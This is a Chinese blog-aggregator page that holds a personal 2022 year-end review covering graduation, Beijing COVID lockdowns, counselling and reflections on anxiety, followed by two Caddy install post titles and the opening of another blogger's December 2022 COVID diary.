  • 2020年:[post cid="1157" size="small"/]
  • 2019年:[post cid="1075" size="small"/]
  • 2018年:[post cid="861" size="small"/]
  • 2017年:[post cid="748" size="small"/]
  • 2016年:[post cid="524" size="small"/]

[/scode]

今年是我的博客第七年,也是写的第七份年终总结。从大二开始到研究生再到现在工作,每一年的变化在自己看来都不大,但现在回过来看却已经走了挺远。

虽然这一年很辛苦,也有很多不愉快的事情。但是现在能够坐下来以一个比较平静的心情来写年终总结,说明这一年整体还是顺利的。

数字化

就寝时间

1、2月份时候平均1:05,3-8月份平均1: 16,到了9-11月份平均1:26,11-12月份 平均1:50。睡眠时间平均仍然是有7个半小时。

早睡就和写日记很像。如果你每天都坚持写日记,那么随着坚持时间变长,每天写日记的阻力/压力会越来越小,逐渐成为一种习惯。相反,如果某天开始晚睡,短期来看好像没有问题,你还得到了更多时间玩耍,你就觉得无所谓,从而第二天会更晚的睡觉,从而越来越晚。

但是晚睡的危险在一段时间后是非常明显,第一个就是免疫力下降,第二点就是平时非常容易疲惫,很容易累,对生活的事情提不起太多劲。而且晚睡这个坏习惯一样形成,又得需要更强的自我控制才能改善。

很多时候,白天明明更专注一些,事情就能完成,但是正是因为有了“可以晚睡”的这种心态,才会让我们把事情拖到晚上才做。希望新的一年,可以慢慢的更早入睡吧。

博客

今年博客只写了5篇,可能是历年中写的最少的一年,而且都是生活类文章。

技术文章在自己笔记本上写了一些,但是要么是片段的,要么还没有整理完全,因此都没有发出来。看到一些大佬们的技术文章,觉得差距还很大,因此希望可以理解在清楚一些再发表出来。

书与电影

去年找工作期间看了一些技术类的书籍。这种书籍都是砖头,所以都是按需阅读一些章节,谈不上完整阅读完。

消遣的时候看了《阿q正传》和《病隙碎笔》。一直看到“你也配姓赵”这种的玩梗,才知道这里的赵家人就是阿q正传第一个故事里面赵太爷。阿Q喝完酒和别人侃大山,说自己和赵家也是本家呢,来抬高自己身份。第二天赵太爷就把阿Q叫过去大骂一顿,赵太爷破口骂道:“你怎么会姓赵!——你哪里配姓赵!”。《阿q正传》一共有20个短篇故事,其中《阿Q正传》和《孔乙己》可能是大家最熟悉的两个。这本书还没看完。

《病隙碎笔》中有这么一段吸引我找来看的:

生病的经验是一步步懂得满足。发烧了,才知道不发烧的日子多么清爽。咳嗽了,才体会不咳嗽的嗓子多么安详。刚坐上轮椅时,我老想,不能直立行走岂非把人的特点搞丢了?便觉天昏地暗。等到又生出褥疮,一连数日只能歪七扭八地躺着,才看见端坐的日子其实多么晴朗。后来又患尿毒症,经常昏昏然不能思想,就更加怀恋起往日时光。终于醒悟:其实每时每刻我们都是幸运的,因为任何灾难的前面都可能再加一个“更”字。

这本书每一小节只有1-2页,看起来还是比较轻松的,但是仍然也是才看到很前的一部分没看完。

今年看完了《极品老妈》、《犬夜叉》、《大理寺日志》、《机器人总动员》、《疯狂动物城》、《搜索》。

看的电影其实不多,其中《极品老妈》一共有8季,《犬夜叉》有600多集。迪斯尼的两部动画电影看特别的过瘾和感动。

不管是看书还是电影,就像旅行一样,都是增加生活意义、丰富自己的一种方式。在抖音上也看了不少的电影解说,这些解说看的时候挺有意思,但是一段时间后就什么都记不住了... 其中印象比较深的有《星期三 第一季》和《白鹿原》。

如果比较懒的话,看电影也是相对有意义的一种消遣方式了。

软件

关于效率相关软件,在2021年,我抛弃了滴答清单,使用系统自带的提醒事项,抛弃了bear改用craft。

在2022年继续“喜新厌旧”使用notion来代替craft。到下半年的时候,notion 基本用的也少了,大部分都是备忘录+提醒事项+飞书文档,包括也尝试直接用macOS自带的“便签”来记录任务。这些变化都突出了“快速记录”与“简化流程”的核心。使用飞书文档是因为内部可以支持非常多的功能,尤其是插入思维导图、绘制流程图,这些之前需要多个软件,而现在可以在一个文档中完成,体验非常的好。

在前几年一直会执着找一个“最好的软件”来创建自己的“知识库”,四年前我写了一篇 [post cid="997" cover="" size="small"/] 文章,而后来双链笔记越来越火,我也试用过大部分的软件,并且多个软件都持续用了很长时间,mweb/bear/craft每个都持续用了一年的时间,慢慢会发现创建“自己的知识库”是一个比较理想的东西。因为理想中自己的知识库分门别类的存储自己的数字资料,自己的所有生活记录、学习记录都能整整齐齐的排列在软件中。

每个软件持续一段时间后会发现几个问题:

  1. 知识库意味着至少是超过50篇文章,这几个软件我基本都有200多篇文章在里面。如果这些诶文章都是一个主题(分类)还好,如果是多个分类,比如生活/工作/学习,其中学习下面又分很多很多,那么一篇文章时候在移动分类/调整分类就需要一些功夫,其次随着文章数目越来越多,调整的成本越来越高。可能你一开始只有3个分类,后面会有20+个分类,你会越来越不想管理,反而让事情变得复杂。
  2. 我的很多记录都是从片段开始,比如要写一篇文章,首先会列出很多要点,每次想要一个新的要点会先记录下来,然后再不断的扩充。技术类的文章,也是每次找到很多相关资料放到一起,最后再整理。这意味着很多时候我需要快速记录,减少我写下来事情的成本。
  3. 有些笔记软件的宣传语是“成为你的第二大脑”,听起来很酷。自己的所有记录都能数字化的记录在一个软件中,并且随时能找到,同时有的还有很酷的双向链接图。但是现在想想我真的有那么多有价值的文章,需要我一直整理来整理去吗?很多躺在软件的笔记都是写了开头/一半,或者素材,他们就像搬家时候的很多小玩意,食之无味弃之可惜。现在很流行写onepage,就是一篇文章讲清楚一个主题的所有事情,这个文章可以一篇完整的内容,也可以是链接的目录。所以与其想要构建一个“自己的知识库”,不妨试试创建自己的多个“onepage”。

那是不是笔记软件没有意义,我们该使用纸笔或者txt来写的。我觉得如果纸笔就能满足你,那么用纸笔也完全没有问题。之前也看到过大佬直接用纸便签来记每天的事情,也看到过有用最简单的markdown软件,写了很多篇优质题解。

如果你觉的双链笔记能够提高你的生产力,那么就去用。如果你觉得它反而增加了你的成本,成为你记录的累赘,或者是在你需要记录的时候觉得很繁琐,那么不妨可以考虑换个更轻便的工具。

相比较个人,我觉得知识库更适合企业场景,首先因为企业文档非常多,所以分门别类非常有价值,其次有很多人来维护,让知识库的可维护性变得可能。即使在企业中,也会看到很多知识库没人更新,目录也没人调整优化。


番茄钟使用我自己开发的TLOG 来代替,从这上面也能看到我每天在电脑前的时间干了哪些事情。

现在滴答清单也支持这个功能了

:size=50%

去年电脑前专注的总时间1448小时,平均每天专注4小时。其实还是有不少时候忘记开番茄钟,尽管我在设计的时候,每15分钟会检查一次是否开启番茄钟,如果没有开启,则会有弹窗提示。

生活

1-4月 论文与毕业

:size=50%

写了一篇面向实验室学弟学妹们的文章,总结整个毕业的流程。

1月份时候在修改和发表小论文,2-4月份一直在修改大论文。4月底基本是论文的流程都走完了。现在写起来似乎一句话就能概括当时做的事情,可是当时确实非常非常焦虑大论文的事情。盲审据说要求很高,以及可能会被抽到预答辩。2月底的时候回了学校一趟,一方面是要交些材料,另一方面回学校感觉效率更高一点。那几周又回到了考研时候的状态,白天就出宿舍去教室改论文,每段文字都去推敲是否有漏洞和不妥,能补充的实验细节、图表、数据也可能的完善。到了3月初又开始查重和降重。但是比较幸运的是盲审也通过了,也没被抽到预答辩,就顺利的毕业。

5月5号开始了远程实习(那个时候北京的疫情正是严重的时候)。

5月 疫情与封控

北京的疫情从冬奥会过后,就突然变得严重起来。3月中旬之后,很多公司也开始居家办公,而我则是一个人在家里完继续改论文。在盲审通过后,一直到4月中旬这段时间,可以继续修改论文,因为论文没有上传到毕业系统上。

自己一个人在家首要问题是需要自己买菜做饭。而自己的会做的菜也有限,素菜就是炒炒上海青🥬,胡萝卜、土豆之类。荤菜也很有限,比如排骨玉米汤,鸡翅、鸡翅、红烧排骨,这几个都是有手+一定的熟练度就行,都是先焯水,然后再焖结束。有几次做的红烧鸡翅还真的让我自己都觉得好吃。其他的就是买一些速冻食品再加上下面来轮流变着花样吃。比较复杂的做法比如做鱼,或者红烧肉,炒肉、虾都不怎么会做。

另一个问题就是缺乏锻炼,可能好几天都不出门。疫情居家的时候的锻炼可能就是出门做核酸吧。

6月份的时候,随着抓了几个卫健委的干部,疫情也慢慢的结束了(北京房山区卫健委副主任杨大庆等三人接受审查调查)。端午节后就正式的回公司上班了,并正式租了一个房子。

6-11月 忙碌工作与生活

上班后的日子越发的忙碌,也越发的单调。尽管如此,这几个月中还是发生了不少的事情。

7月初的时候回学校和几个同学补拍了毕业照,7月7号团建第二次去欢乐谷玩,并且被“怂恿”玩了“丛林小火车”,第一次做过山车的体验就是在中间感觉快要死掉了,失重的感觉真的很恐怖,也许有点像面对死亡时候的那种无助感?7月还和本科室友聚餐了一次,其中两个还邀请去我租的房子坐了一会,主要是让他们体验一下我买的pico(hhhh),然后一起看了电影「人生大事」。

暑假的时候,当然我已经正式入职在上班了,办理和档案相关一些事情,又跑学校好几趟办理,特别麻烦,因为那个时候还是疫情管控。

生日的时候收到我人生的第一瓶香水。我自己没买过香水,一方面是觉得没啥必要,另一方面是觉得太贵。收到后虽然出门没用过,但是偶尔一个人时候,喷一点,寂静的房间里,只有自己一个人,还是蛮有情调的。

8月初的时候,我姐和我姐夫订婚了,吃了席还收到了红包。8月份末的时候,公司一些伙伴们自发组了打乒乓球的局,我也加入进去玩了几次。在学校的时候,体育馆随便进去玩,进入社会才发现乒乓球馆还挺贵,一个小时人均50+,后来找到一个大学校内的,便宜一些。也正是这个时候,买一个电动车的想法愈发强烈。因为每次打完球后都找不到共享单车,回去很费劲。

8月底的时候,就买下了人生的第一辆车——电动车。第一次买车非常怕在被价格上坑,别人说啥就是啥,我也不懂,所以我是在网上买的,店里通过货拉拉送过来的。有了这个车后整个夏天和秋天是非常舒适,上下班5分钟多一点就到。周末如果想去稍远一点店里也不是问题(虽然大部分周末都是宅在屋子哪也不去...)。

9月初的时候,高中一个关系不错的女同学结婚了,这也是我人生中第一次随份子,这才让我感受到,怎么我也到了这个年纪的时候了。有点陌生的感觉。

接着就是中秋、国庆。非常快的就进去了深秋和初冬。10月末的时候家里又出了一件非常让我痛苦的事情(不是生老病死的事情)。事情发生时候是周五,晚上8点的时候我接到了电话,然后脑子就嗡了一下,我说我等下给你回电话。就去吃饭了,吃完饭找了一个会议室开始回电话,当时我不知道怎么说,总之特别混乱的一天。当天晚上回去的时候,想找个人倾诉一下,没找到一个人。有一个朋友因为爷爷住院我也不想拿我这些破事烦别人。

所以我预约了人生的第一次线上心理咨询。线下体验也许会更好,但还是没有敢线下。是通过电话,预约的10月27号的早上9点,不耽误上班时间。早上8点50就洗漱好坐在桌子旁了。很紧张,所以提前晚上就把想倾诉的事情都写了大概。到点准时接到了电话,电话那头声音首先是声明我们谈话的内容不会被任何第三方的人知道,并且告知谈话时间是50分钟,并开始询问是不是第一次心理咨询。

咨询师并不是什么灵丹解药,任何心理问题或者烦恼,通过一次对话就能拨云见日。但是至少这件事我必须得找人说出来,其次心理师有时会站在我的角度和我一起去想那该怎么办呢,有时也会站在她的角度给我一些她的建议。总的来说这次咨询对我来说很有帮助,也帮助我面对这件事情的后面处理。

11月19号的时候预约了第二次的心理咨询,那个时候已经好多了,主要是倾诉一些生活工作上压力的事情以及我爸妈房子还是背负很高的房贷。咨询师建议我可以提前还贷减少利息。我在这之前只知道我家还有很多房贷正在换,但不知道可以提前还款。甚至也不清楚商业贷款和公积金贷款的一些具体细节。虽然是我妈自己贷的款,但是她对细节也不是很清楚。正是这件事之后,我详细了解了商业贷款中的等额本息和等额本金利息计算区别以及提前还款的注意事项。最终让我爸妈在年前的时候提前还了一部分,我也出了一部分。这减少了很多我在这件事情上的压力和焦虑。

11-12月 疫情与放开

准确的是是在双十一之后的几天中,北京的疫情越来越严重。我的小区当时也因为有确诊被11月21号被封控,外卖不能送上楼,而是送到小区门口。每天中午点完外卖后看的路线图,在外卖快要到的时候提前跑过去等。不然错过后,再去拿外卖会非常麻烦。而且外卖/超市的配送费可见的越来越贵。像我还好,买了几个超市的订单,配送费只有3元(平时0元),基本上没有太影响我的生活,只是有些提心吊胆。这个期间乌鲁木齐大火事件,让民众怨气越来越重,在11月26号的时候,北京很多小区都开始要求解封,要求“科学管控”。很多是年轻人和我年纪差不多大的,其诉求也许只是不要乱封,比如居委会的权利越来越高,社区有一例确诊就整个小区全封,说是网格化管理,结果外卖/商超配送根本没办法送。据说那一天,很多小区都进行了类似的“活动”。

到11月27号晚上的时候基本解封了,外卖已经可以进来了,不知道是“争取”的结果还是本来就是“按期解封”了。

在这之后,北京传言要放开几乎成为人尽皆知的秘密,尽管新闻推送还再一遍遍强调“科学防疫,动态清零”。我的房子在12月5号的时候到期,所以这两天也一直在找房子,最终看了一个房东直租的,一个中介带看了两间。最后选了中介的那间。当时犹豫的还是房东直租的小区偏路边担心比较吵,以及没有暖气(他们冬天用充油取暖器取暖)。但是住进去中介推荐的那间后远远没有当时“承诺”的那么美好。唯一我眼见为实的就是小区确实比较安静...

12月5号搬进新房子的第二天早上,想去物业办理门禁,但是门口显示有确诊被临时管控,就回去顺路做了一个核酸。结果半夜快12点的时候,有公安局打电话说十混一阳,说晚点会有小区上门做单管。可是等到半夜1点半也没有任何动静,我就睡着了。实际上这个时候放开的政策越来越多,基本没人管了。

12月3号官方辟谣北京明日放开,12月6号就有新的政策说一些地方不查核酸了,接着7号就发布感染后可以居家治疗,再接着8号宣布进京检查站不再查健康码。至此基本上北京放开管控了,也是从此时,北京的疫情迎来高峰期。在11月底的时候预感到很大可能性放开,那个时候还只是买了点感冒灵和消毒喷雾,没买退烧药,而在这个时候所有外卖平台基本上都买不到药和抗原了。几乎每天抽时间都会关注一些群有没有药和抗原,外卖/商超配送费也慢慢变高,每天担心外卖有没有人接单,收到外卖后都是放在门口,等一会带口罩拿进来消毒与洗手。

12月11号的那个周末估计很多很多人都被感染在家发烧,正如数据预测的那样,12月17号到达高峰后,物流和配送慢慢的开始恢复,到了12月底的时候,基本上配送和物流和之前差不多了。

也许是很幸运的,在疫情爆发前我搬到新房子,而在第一波疫情的整个期间除了倒垃圾没出过门,外卖/快递也是日复一日的消毒,所以没有发烧。但是后面身体确实有几个不舒服的症状和新冠很像。比如气短胸闷、腰痛、喉咙痛。不知道是不是无症状感染还是单纯一直在家不锻炼导致的免疫力下降的问题。

第一波疫情基本结束,后面会是怎样呢,哎,前路路漫漫,什么时候才能真正的结束新冠疫情...

工作

遐想

不给自己的生活打分

我每天时常有意无意的会给自己的生活打分,比如周末的时候,会在一天结束的时候评判自己是不是一整天又浪费了时间,又虚度了这么宝贵的一天。这似乎是和我们从小接受的教育有关,吾日三省吾身。但是其实自己只是一个普通人,按照教科书般的原则给自己生活打分,能达到8分以上是非常难的一件事。达到6分才是更常见和正常的一件事情。我们花费了一些时间在其他的娱乐的事情上,而不是在计划的事情上,我觉得并不是浪费时间。时间就和钱一样,是拿来用的。就像吃饭和住房每月需要花费很多钱,那你能说这些钱是被浪费了吗?

由此我希望的是能够每天减少对时间分配上的焦虑,而把精力真正的用在如何分配时间上。比如我主动有目的的使用一些时间去娱乐,一部分时间去工作或学习,而不是以难以达到的要求希望自己每天能达到10分,充分利用时间来学习,这不现实,同样还是增加不必要的焦虑。

焦虑的本质

在我看来有两种:一种是居安思危,另一种是因为自己过去没做好而焦虑,比如因为拖延导致任务越来越多焦虑。

后者产生焦虑与自责、后悔类似,其本质是不想对自己的行为负责。因为这些情绪是我们并不想去接受自己做的不好的那一部分,因为把错误归咎到没有做好的过去的自己,以为产生一些愧疚心理,就能抵消掉自己过去没做好的行为一样。焦虑自责后悔不能解决问题,因为恰恰帮助我们减轻了一些负罪感,下次同样的场景,我们仍然会不自觉的滑到“不去做不好”的那面。

焦虑其实不是什么坏事情,它是一种帮助我们发现危险的本能。但是如果只是焦虑没有任何行动,那么焦虑似乎就变成我们面对现实与问题的一种挡箭牌,彷佛我已经焦虑了,即使没有做,那是我做不到,不能怪我了。

减少焦虑、自责与后悔情绪,我觉得最重要的是对自己的所有行为要做好负责的觉悟。举个例子,你可以晚睡、熬夜、通宵来换取深夜逃避现实的快乐,但是就要做好第二精神萎靡不振,身体变差的后果,而不是到了第二天白天的时候又开始后悔为什么昨晚没有早睡,因为这一切都是自己的选择而已。你可以白天去看视频而不去完成计划中的任务,那么就得承担任务被延期的后果,要么是第二天花费更多的时间是弥补,要么就是因为任务未完成导致的后果。而不是第二天去焦虑哎呀,任务越来越多怎么办,因为这一切的后果都是你自己亲自的选择。

你可以选择减少社交来避免自己被社交伤害,也可以选择工作中减少与合作方的沟通来减少麻烦,但是与之带来的后果也必须提前清楚与承担,如果不想承担,那就必须强迫自己去完成这些事情。因为对自己的行为负责是成年人非常重要的一个品质。

小孩子事情没做好可以撒撒娇就过去了,没人会太责怪一个小孩子。但是大人事情没做好,那一定是要提前就预知好风险并且主动承担,没有怪罪别人的借口。

第三方视角

有一段时间我会觉得自己的生活没有任何意义。在B站上看到一个外卖员拍自己送货的VLog,平时普通的生活,拍出来后感觉还挺有意思。VLog就是对生活的一种第三方视角,因为视频加上配乐或者一些解说,再加上快进与剪辑,枯燥重复的生活彷佛也被赋予了意义,其原因在于我们看视频的时候不会切身的感受到视频中行为本身产生的物理感觉。

比如让你去在冬天送外卖,再怎么也很难感受到自己的工作是有趣的,毕竟寒风刺骨,而且每一单的时间还很紧急,切身的体会也只会是觉得这份工作很累很辛苦,很难看到所做事情的意义。

再比如电影其实就是一种第三方视角来叙述生活中的事情。我们能从电影中获得感动、激励等等情绪。因为电影中通过非常巧妙的剪辑,恰到好处的音乐,精心设计的光影和画面,这是我们平时体验和观察自己生活所缺少的元素。

如果我们也可以尝试用第三方视角来观察自己的生活,也许生活也能像电影一样。至少在两个方面会有所帮助。

其一,在面对感觉到无意义的工作时候,不想去继续的时候。从第三方视角来看,从更长的时间线看就能看到我们所做的每件事情的价值。可以通过拍一些VLog或者照片,让自己具象的感受到自己的变化。

其二,在为自己做的一些蠢事耿耿于怀的时候,从第三方视角来看这些事情,不过是一个很小的事情。可能当时会额外在意一下,但是一般很快就会忘掉了。自己那时候的复杂的心理活动也不过是短短的几行文字。如果觉得自己正处在一个低谷痛苦的时候,觉得自己离目标很远很失败的时候,我们从更长的一个视角来观察自己,也不过是自己人生中很小的一个插曲,或者即使他给我们带来了一些伤害,其实也是我们人生中非常宝贵的经历和记忆。

矫情是对抗生活的解药

如果连续一周或者两周都是高强度工作,下班回来的时候会发现自己的大脑就像“木头”一样,对生活提不起来劲来,也不知道自己的目标是什么,是一种很空洞的感觉。周末的这个时候,适当的矫情一下,反而能让我们体验到生活的“意义”。生活的意义总感觉是很虚的一个东西,在我看来就是逐渐找到自我价值的一个过程。而自我价值就是感受到自己不是平庸的,普通的。矫情通过一种很奇怪的心理过程,会让自己短暂的感觉自己的某些“思考”不被外人理解,这恰恰是发现自己独特之处的一种方式。在音乐软件的随手打开一些摇滚歌曲,总会看到很多“矫情”或者“中二”的评论和发言,我觉得并没什么问题。小的时候很容易中二,总觉得自己是天选之子。长大了随着接触的人越来越多,经历的事情越来越多,就越发的发现自己的渺小和普通,因此能让自己偶尔变得“中二”一些,也会让自己觉得自己还是有价值的。当然走到极端的另一面,比如狂妄自大,或者持久性的认为身边的所有人都理解自己,众人皆醉我独醒也就大可不必了。

一个人的不同面

不知道你有没有和我一样,在面对他人的时候,总会觉得对方只有一面。比如在工作上你和对方相处愉快,对方温柔负责,你就会潜意识的给对方贴一个标签,并且期望对方任何时候都能按照这个标签来进行来对自己反应。如果对方表现出了另一面,我们会很难以接受。

这里有这样的一个故事,高中很好的一个朋友,高中的故事都在教室中发生,所以我俩的事情都是围绕教室的一些琐碎的事情,会感觉对方是一个非常活泼、热情的人。大学的寒暑假期间,我去对方家玩的时候,两个人在一块有的没的说话,倒也还不错。然后等我们出去去超市的路上,以及到店里的时候,就会感觉对方的行为处事模式完全像变了一个人一样,尤其是在对店员说话的时候,完全没有他平时和他独处时候那种俏皮,稚嫩的行为,相反非常“成熟”,甚至在外面走路聊天的时候,经常说这家乡话的时候蹦出普通话,这让我感到非常不适应,觉得突然和他的距离很远。这一点我一直认为是我和他的关系还没有熟络到那份上。

前一阵子,我出门需要办理一个材料,骑着电动车来回20公里,那天的风还特别的大,等材料交上去的时候,我在路上走路回去的时候,突然感觉整个人都非常不对劲,如果这个时候身边有朋友和我一起走路,我估计不会像平时那样的不急不慢的语气聊天,而是会很暴躁,因为这个时候我想尽快回家。这一刻的时候我突然有体会到的是一个人在面对不同场景有不同的反应态度是很正常的一件事情。虽然我的经历可能和我的朋友并不一样,但是人确实是有很多不同面。

观察身边的人就会发现,有的人性格比较稳定,不管在和对方独处还是一群人聊天的时候,都能hold住全场,语气和态度几乎能保持不变,而有的人能明显感觉到他在和同一个人交流的时候,在不同的社交环境中会有截然不同的社交表现。所以,在我体会到这一点后,如果社交对象的态度会有变化,也没必要去怀疑自己是不是因为自己导致了别人的态度变化。这其实是一个非常正常的现象,我们只要去正视它,告诉自己这是一种正常现象,社交压力也就会小一些。

情绪的自我消化

在过去的一年,我越发少把我的烦心事和别人去说(纯吐槽那种的还是会有不少次在关系比较好的群里去吐槽),因为有很多事情我,对方没有在经历过程中很难设身处地的感受。同时,我倾诉一堆之后,无非是给别人忙碌的生活再添加一层忙碌。和大学时候不同,大学的时间似乎全是空闲时间,对待朋友,总觉得什么事情都可以倾诉、理解。另一方面是工作后,有一些事情当下会觉得烦恼和痛苦,只需要过上一周以后,工作上的忙碌就能让自己慢慢的忘掉之前的那些感受。

三月份的时候,有个朋友问工作怎么样,我当时心里想的是工作虽然很累,但也没想象的那么坏,至少让我没时间去心理内耗,去想那些乱七八糟的事情,工作就足以透支大部分精力,其余的时候也只想放空自己获取一些精神快乐。

工作是管理人类的一种必要手段,也许这句话没错。即使物质到了空前丰富的时候,我想人类也是有工作,只不过奖励变成了其他的事情罢了。因为如果没有工作,人就闲起来了。人一旦闲起来,就容易“作”。这里作无非是希望获取更高、更多的精神满足,整个社会就处于非常混乱的局面。

但是也有有一些事情让我觉得就是熬不过去的时候,去年我找过两次心理咨询,这也是我第一次真正的接触心理咨询这件事情。心理咨询其实不是一个特别神秘的事情。另一个人会去耐心无条件的去倾听你说的任何话,并适时的给出她的一些建议和感受,这是我在心理咨询后的一些一些感受。但是约心理咨询有一点不好的地方,一般只能3天甚至更远之后,所以很多时候一旦错过那个情绪释放期,就慢慢的不想去倾诉了。

是NPC也是玩家

之前看过这样的一张图,有些自嘲,也有点笑着笑着就哭了梗图。

:size=50%

我们也彷佛也从以为自己才是世界的主人,到慢慢成为这个世界的npc。还有下面一张梗图也很好笑。

:size=50%

在小的时候,我会觉得自己人生是非常独一无二的。讲个有意思的故事,很小的时候,我觉得自己是太阳之子。我爸妈在北京打工,小学暑假的时候我就会被接过去,我一去北京,就是大晴天,然而据说我没去的时候就在下雨。这当时是非常小的时候一个小故事。再大些的时候,我俩也会觉得我的人生怎么可能是我从电视上看到了,或者别人听到的那样。甚至我当时不理解“催婚”这件事情。我觉的结婚谈恋爱不是自己的事情吗,难道别人催一下,你就谈了,别人不催你就不谈?别人催一下你就仓促结婚了吗?当时非常不理解这件事情,觉得这件事真的要多蠢又多蠢。可是现在,身边还没有对象的同龄人,几乎都在被催着谈恋爱,找对象,结婚...我也不例外。到了某个年龄后,就彷佛一定要进入那个固定的阶段,你逃不了,就像游戏中NPC,在到了某个阶段就自动触发动作。你必须得干这件事情,至少你必须被这件事情所困扰。

毕业之前,偶尔看那种总结人的一生经历的事情的视频,就还没觉得怎样,也许那个时候还天真的觉得自己不会步入那种枯燥的生命流程中呢。

可是现在呢,我已然已经在这个流程中而有些身不由己了。以前总觉得哪有什么身不由起,那只不过是借口,但是改变总是会带来非常大的风险和不确定性,是需要非常大的毅力和坚持才可以的。我怀疑自己是否具有这个素质。特立独行这个词实践起来却很难。

虽然好像挺悲观的,尽管我们非自愿的成为了这个世界的一个NPC,对于个人来说,还是会有更多的一些可变性,这也许不需要所谓的“翻天覆地”和突破性的变化,而只需我们坚持做一些不一样的事情, 比如坚持自己的一些兴趣爱好,或者做一些小小的改变,比如改变自己的书桌环境就能获得不一样的人生体验与感受。也就是我们仍然可以成为自己生活的玩家。

就像“三毛给不快乐女孩的一封信”里面写的那样,去做一些小小的改变,能让我们发现生活更多的盼头。

如果是我,第一件会做的事情,就是布置我的房间。我会将房间粉刷成明朗的白色,给自己在窗上做上一幅美丽的窗帘,我在床头放一个普通的小收音机,在墙角做一个书架,给灯泡换一个温暖而温馨的灯罩,然后,我要去花市,仔细的挑几盆看了悦目的盆景,放在我的窗口。如果仍有余钱,我会去买几张名画的复制品——海报似的那种,将它挂在墙上……。这么弄一下,以我的估价,是不会超过四千台币的,当然除了那架收音机之外,一切自己动手做,就省去了工匠费用,而且生活会有趣得多。

结语

生活中很多事情,也许在当时觉得像浮尘一下意义不明,但是坚持一段时间后,就会发现原来已经走了很远经历了很多了不起的事情。新的一年,祝愿大家都能身体健康吧,注意防护,永不生病!我们下篇文章见。

by 友人C at January 22, 2023 01:18 PM

usb

b'Debian / Ubuntu \xe4\xbd\xbf\xe7\x94\xa8 xcaddy \xe8\x87\xaa\xe5\xae\x9a\xe4\xb9\x89\xe7\xbc\x96\xe8\xaf\x91 Caddy'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe4\xbd\xbf\xe7\x94\xa8 xcaddy \xe8\x87\xaa\xe5\xae\x9a\xe4\xb9\x89\xe7\xbc\x96\xe8\xaf\x91 Caddy\xe3\x80\x82'

by Showfom at January 22, 2023 12:00 AM

December 27, 2022

usb

b'Debian / Ubuntu \xe5\xae\x89\xe8\xa3\x85 Caddy'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe6\x8c\x87\xe5\xaf\xbc\xe5\xa6\x82\xe4\xbd\x95\xe5\x9c\xa8 Debian \xe5\x92\x8c Ubuntu \xe4\xb8\x8b\xe5\xae\x89\xe8\xa3\x85 Caddy\xe3\x80\x82'

by Showfom at December 27, 2022 12:00 AM

December 25, 2022

anji66

阳记

随着疫情放开管控的步子一下扯的太大,感染人数直线上升,所有人也许都无法幸免,开放的政策也不会再收紧。日子还得过,记录下这段非常岁月,原本标题写的是“等阳记”,并且是日更的,因种种原因没有发布,今天(12-25)老婆大人也发烧了,直接把标题改为阳记了,虽然截止到目前我还没有症状,但是已经无法避免。全文截止到目前约7000字,阅读需要一定时间,错别字皆因输入法问题,后面再校正。


12月5日 忽如一夜春风来

清晰的记得山东发布说全身取消落地检,放开核酸,看到这个消息是意料之中又在意料之外。接着就看到老家湖州发布上同样的信息,然后浙江全省各个地级市几乎同时发布了取消落地检,放开核酸的消息。接着就看到上海小步跟进了政策,主要是取消了来沪返沪不满五天的提示,不再要求来沪三天三检、五天四检。一时间风向大变。


12月6日 猝不及防买药忙

第一个反应赶紧是屯口罩,马上找我Z1同事,他的一个客户是一家上市医疗器械公司,我们公司是客户设备的关键配件供货商,给我们的口罩远低于市场价。之前防控的时候我买过一些KN95,让报了个价,还是和之前一样的价,没变化,然后我说我回家看下还有多少口罩再决定买多少,回家数了一下还有20几盒,然后就没有着急下单。于此同时在办公室呼吁同事们抓紧购买药品,那时候没有具体明确买什么药,只是告诉大家家里常备的感冒药抗病毒药都买一些,更多的都在买连花清瘟,感冒药之类的,还没牵扯到退烧药。


12月7日 千树万树梨花开

周三,又到了出差的日子。买口罩的事情就给放一边了。赶到生产基地那边的时候,高铁下车,终于没有从上海过来的高风险通道了,也不强制核酸了,保险起见,我还是自愿去做了个核酸,单人单管。当天晚上入住酒店前,核酸报告才出来,阴性。酒店也不看核酸了,仍然看了下行程卡。因为定点酒店,也就是看了一眼就顺利入住了。


12月9日 千山鸟飞绝

从衢州回上海,因为要把公司的一辆车来回上海,就没有高铁返回了。高速进上海收费口,之前的防控岗亭全撤了,也不要求靠边停车扫场所码和做核酸了,似乎一切又回到了之前的状态。今年3月份开始浙江所有高速口都会查验核酸和行程,与之对应的上海知道10月才姗姗来迟补上这个短板,而短短一两个月,这政策又取消了。回到上海,发现我随申码上面也没有在出现来沪返沪不满5天的大红色提示了。晚上办公室群里面再次呼吁大家备点药品。


12月10日、11日 万径人踪灭

周末两天在家,风声鹤唳,很明显网上的那个吃药顺序图疯传,药品瞬间紧张了。周末在家在美团买药疯狂下单,网店显示有货但是下单后连着三家店购买布洛芬都给我退单了(我有偏头痛,布洛芬是家中常备药),后来终于在另外一家店下单成功。同步把小朋友的止咳药易坦静、感冒药豉翘颗粒都买了,唯独没有买到感冒药(感康、可立克)那种。就是前面几天屯感冒药的买走了。然后我只能买了穿心莲。连花清瘟神药在魔都封控期间有发放,还有疏风解毒胶囊。所以这类药就没有买了。我家老婆大人在防控期间,每周都要出门,放开了,反而不出去了,各大商场门可罗雀。


12月12日 卖炭得钱何所营

上海经过一周的思考,终于发布了新规,跟上了浙江的节奏。除特殊场所外不再查验核酸阴性证明,不再要求扫码场所码和数字哨兵。魔都的放开程度与国家保持一致了。从这天开始,病例的增长进入了高速通道。周一正常进办公室上班,公司开始屯一些防疫用品:酒精、84消毒液、N95口罩、抗原试剂、布洛芬、感冒药、连花清瘟。之前有部分同事没买药的经过一周的风声鹤唳也在疯狂买药,奈何个人网上已经很难买到相关药品。还好公司渠道备了相关药品,如果哪个同事出现症状了可以在公司领取相关药品。终于我决定上周没买的口罩,想起来赶紧下单,再次问了一下Z1同事,让客户再报个价,客户那边回复报价翻了小一番,我二话没说,先来一箱再说,火速微信转账,客户那边大叫,先别下单了,能不能发货不知道啊,然后客户也没收款,然后竟然给退款了,告知我们公司产能被当地一大型国有医药企业协议购买去了,他们公司员工自己也无法购买了。


12月13日  危险的暴露

